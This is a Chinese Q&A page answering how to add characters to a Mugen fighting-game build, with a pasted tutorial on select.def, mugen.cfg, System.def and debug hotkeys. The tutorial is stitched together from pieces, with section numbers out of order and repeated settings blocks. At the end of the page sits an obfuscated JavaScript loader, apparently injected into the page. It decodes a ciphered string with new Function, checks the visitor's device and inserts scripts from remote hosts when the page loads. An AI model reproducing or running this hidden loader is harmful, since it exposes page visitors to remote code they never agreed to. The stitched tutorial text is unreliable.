拳皇2000Mugen主程序怎样添加人物包

2024-12-26 12:58:25
推荐回答(1个)
回答1:

  http://tieba.baidu.com/f?kz=749613684
  看看吧 挺有用的
  Mugen是ELECBYTE利用C语言开发的一款2D格斗系统,它有着较大的开放性。目前官方最新版本是2001年发布的DOS 0414版,至于网上流行的另一种无须DOS驱动的版本,即WinMugen,系破解版,它虽然可以在NT系统下完美地运行,不过问题多多,所以目前用的较多的仍然是DOS 0414版,所以此教程主要针对0414版进行说明。

  一般来讲,Mugen是由chars、data、font、sound、stages这五个文件夹以及一个可执行文件组成的,下面简要地谈谈各自的作用。

  chars:专门用来存放人物,每个人物基本包含有xxx.def(人物基本信息及各档链接)、xxx.act(调色盘)、xxx.air(红蓝方格定位)、xxx.cns(动作属性)、xxx.sff(人物图片)、xxx.snd(人物音效)以及xxx.cmd(按键控置)

  data:系统的核心,里面包括了对Mugen的各项设置

  font:用来存放游戏字体文件

  sound:用来存放游戏音乐

  stages:包括了所有的游戏场景,每个场景由xxx.def和xxx.sff构成

  在这里,我把我认为必须讲的东西向大家介绍一下。

  1、如何添加人物?

  以Camus为例,首先将Camus解压至chars文件夹下,然后进入data文件夹,用记事本打开select.def 你会看到:
  [Characters]
  ...

  对了就是在这个标题的下面打上Camus,变成:
  [Characters]
  Camus
  ...
  此外,你还可定义该人物的出场顺序,注意号码一定要连续,不可随意中断,就像下面那样:
  [Characters]
  Camus,order=1
  Mu,order=2
  Milo,order=3
  ...
  顺便提一句,[Options]标题下面的是设置两种模式人物出场顺序及场数的,
  [Options]
  arcade.maxmatches = 6,1,1,0,0,0,0,0,0,0 对战模式出场顺序及场数
  team.maxmatches = 4,1,1,0,0,0,0,0,0,0 组队模式出场顺序及场数

  4、如何设置mugen.cfg

  这个文件在data目录下,它包括了游戏的最最基本的设置,包括整体生命力、游戏速度、游戏难度、游戏音乐控制、显示设置、游戏手柄设置等。具体设置方法如下:

  [Options]
  Difficulty = 4 游戏的难度,最高为8级
  Life = 100 游戏中人物生命力的百分比,默认值100

  2 Mugen标准使用教程,任何有关Mugen的问题请跟贴回复
  Time = 99 每个回合的时间,-1为无限时间
  GameSpeed = 0 游戏运行速度
  WavVolume = 50 wav音乐的音量大小,最大值255
  MidiVolume = 50 Midi音乐的音量大小,最大值255
  Team.1VS2Life = 150 假如我以1人出场,对方2人的话,我将以150%的生命力出战
  Team.LoseOnKO = 0 组队模式中,如果2P输了,电脑控制的人物是否继续战斗,1为是,0为否
  motif = data/system.def 系统文件链接
  MP3Volume = 50 MP3音乐音量的大小,最大值255

  [Rules]
  Default.Attack.LifeToPowerMul = .7 击中对方,给予自己的能量值
  Default.GetHit.LifeToPowerMul = .6 击中对方,给予对方的能量值

  [Config]
  GameSpeed = 60 游戏的每秒运行的帧数,默认值60,请不要设置少于10,不然游戏会运行不正常
  DrawShadows = 1 游戏中是否显示人物的阴影,1为是,0为否

  [Debug]
  Debug = 0 是否开启作弊模式,1为开启
  AllowDebugMode = 1 在作弊模式关闭的情况下,按Ctrl+D键可以重新开启
  AllowDebugKeys = 0 无显示信息的作弊模式
  Speedup = 0 除错信息的显示速度
  StartStage = stages/stage0.def 默认的场景

  [Video]
  Width = 320 屏幕分辨率的设置,默认320X240
  Depth = 16 游戏以哪种颜色模式显示,有8位、16位、24位可供选择
  Stretch = 0 是否拉伸,1为是,0为否
  DoubleRes = 0 屏幕显示方式有:0、1、2、3可供选择
  0 - off
  1 - diagonal edge detection
  2 - bilinear filtering
  3 - horizontal scanlines

  5、如何设置System.def

  在data目录下,它包含着SreenPack(画面包)的重要设置,在这里只对选人屏的设置作一个介绍:

  [Select Info]
  rows = 7 选人框的行数
  columns = 8 选人框的列数
  pos = 18,152 选人框的坐标
  showemptyboxes = 0 是否显示空的选人框
  moveoveremptyboxes = 1 是否让光标在空格上移动
  cell.size = 27,31 大头像的尺寸(X、Y)
  cell.spacing = 9 各个选人框的单距
  p1.cursor.startcell = 1,3 P1在进入选人框的默认位置(1,3表示在第一行的第三个选人框中)
  p1.cursor.active.anim = 160 P1光标的动画
  p1.cursor.done.anim = 161 P1选定后的框的动画
  p1.cursor.move.snd = 100,0 P1在移动选人框时的声音
  p1.cursor.done.snd = 100,1 P1选定人物后的声音
  stage.move.snd = 100,0 选择场景时的声音
  stage.done.snd = 100,1 选定场景时的声音
  p1.face.offset = 23,82 P1大头像的坐标
  p1.face.scale = 1,1 P1大头像的大小
  p1.face.facing = 1 P1大头像的朝向(1为右,0为左)

  同样,p2也是一个道理。

  四、系统热键

  F1 P2立即死亡
  F2 双方生命值变为1
  F3 双方能量值全满
  F4 重开此局
  F5 时间结束
  F12 截图(储存为 mugen?.pcx)
  Ctrl-F1 使P1的生命为0
  Ctrl-F2 使P1的生命为1
  Ctrl-C 显示碰撞区块
  Ctrl-D 显示DeBug信息
  Ctrl-I 强制将双方转换至站立动作(State 0)
  Ctrl-F 调整Frame-Skip设定
  Ctrl-L 隐藏Life-Bar与Power-Bar
  Ctrl-S 游戏速度调至最快(启动V-Sync时此功能无效)
  Ctrl-V 启动V-Sync功能
  Ctrl-# (#代表数字1~4) 切换P1~P4为 手动/电脑 操控
  Ctrl-Alt-# (#代表数字1~4)开启/关闭 P1~P4
  Shift-F4 重新加载stage, chars和fight data
  Shift-F2 P2的生命为1
  space 时间,生命值,能量值全满
  Pause 游戏暂停,在训练模式下出现功能菜单
  ScrollLock 在暂停中每按一下就移动一个画格
  Esc 退出

  cell.spacing = 9 ;各个选人框的单距

  p1.cursor.startcell = 1,3 ;P1在进入选人框的默认位置(1,3表示在第一行的第三个选人框中)

  p1.cursor.active.anim = 160 ;P1移动框的动画

  p1.cursor.done.anim = 161 ;P1选定后的框的动画

  p1.cursor.move.snd = 100,0 ;P1在移动选人框时的声音

  p1.cursor.done.snd = 100,1 ;P1选定人物后的声音

  stage.move.snd = 100,0 ;选择背景时的声音

  stage.done.snd = 100,1 ;选定背景时的声音

  p1.face.offset = 23,82 ;P1大头像的坐标

  p1.face.scale = 1,1 ;P1大头你的大小

  p1.face.facing = 1 ;P1大头像的朝向(1为右,0为左)

  三、如何加入人物、背景、音乐、画面包

  我们以人物kim为例,下载kim得到kim.zip这个文件,把里面的所有文件解压到kim文件夹里面,再把kim文

  件夹复制到chars目录下面,然后打开select.def文件:

  [Characters]

  kim, ;注意“,”号一定要输入

  这样就成功的添加了一个人物。

  如何加入背景呢?呵~很简单,将下载的背景解压到stages目录里面,然后在人物后面加入stages/*.def就搞定

  了(*代表任意一个背景的名字),或者直接加到[ExtraStages]下面即可。

  [ExtraStages]

  如果我们有多余的背景就可以放到这里了,格式如:

  stages/mybg.def

  那么音乐呢?其实音乐可以在背景里面设置,也可以单独为人物指定一个,例:

  kim, stages/kim.def, music=sound/song.mp3。

  下载了画面包,不知道怎么用?

  一般下载的画面包里面都会有说明,没有的话也不麻烦,把fnt格式的文件放到font目录下,mp3之类的文件放

  到sound目录下,其他的一骨脑丢到data目录即可。

  我可以为每个人物设置等级吗?当然可以了,同样,打开select.def文件:

  [Options]

  下面是设置出场顺序的,用这些功能之前,必须先为每个人物提供等级,如:kim,order=1就是一级,以此类推,可以设置10级。

  es = 6,1,1,0,0,0,0,0,0,0 ;对战模式出场顺序

  team.maxmatches = 4,1,1,0,0,0,0,0,0,0 ;组队模式出场顺序

  zsl123
  123123

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();